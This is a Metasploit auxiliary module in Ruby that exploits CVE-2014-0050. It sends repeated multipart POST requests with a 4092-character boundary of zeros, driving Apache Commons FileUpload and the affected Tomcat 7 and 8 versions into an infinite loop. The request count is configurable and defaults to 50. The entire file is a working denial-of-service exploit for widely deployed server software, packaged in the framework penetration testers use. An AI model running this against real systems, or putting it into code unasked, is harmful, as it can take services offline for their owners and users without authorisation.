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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'            => 'Apache Commons FileUpload and Apache Tomcat DoS',
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      'Description'     => %q{
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        This module triggers an infinite loop in Apache Commons FileUpload 1.0
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        through 1.3 via a specially crafted Content-Type header.
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        Apache Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle
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        mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50
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        and 8.0.0-RC1 through 8.0.1 are affected by this issue. Tomcat 6 also
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        uses Commons FileUpload as part of the Manager application.
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       },
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       'Author'         =>
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         [
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           'Unknown', # This issue was reported to the Apache Software Foundation and accidentally made public.
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           'ribeirux' # metasploit module
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         ],
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       'License'        => MSF_LICENSE,
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       'References'     =>
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         [
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           ['CVE', '2014-0050'],
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           ['URL', 'https://tomcat.apache.org/security-8.html'],
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           ['URL', 'https://tomcat.apache.org/security-7.html']
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         ],
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        'DisclosureDate' => '2014-02-06'
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      ))
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      register_options(
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        [
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          Opt::RPORT(8080),
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          OptString.new('TARGETURI', [ true,  "The request URI", '/']),
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          OptInt.new('RLIMIT', [ true,  "Number of requests to send",50])
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        ])
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  end
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  def run
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    boundary = "0"*4092
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    opts = {
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      'method'         => "POST",
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      'uri'            => normalize_uri(target_uri.to_s),
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      'ctype'          => "multipart/form-data; boundary=#{boundary}",
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      'data'           => "#{boundary}00000",
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      'headers' => {
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        'Accept' => '*/*'
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      }
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    }
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    # XXX: There is rarely, if ever, a need for a 'for' loop in Ruby
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    # This should be rewritten with 1.upto() or Enumerable#each or
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    # something
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    for x in 1..datastore['RLIMIT']
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      print_status("Sending request #{x} to #{peer}")
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      begin
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        c = connect
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        r = c.request_cgi(opts)
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        c.send_request(r)
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        # Don't wait for a response
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      rescue ::Rex::ConnectionError => exception
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        print_error("Unable to connect: '#{exception.message}'")
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        return
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      ensure
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        disconnect(c) if c
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      end
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    end
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  end
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end
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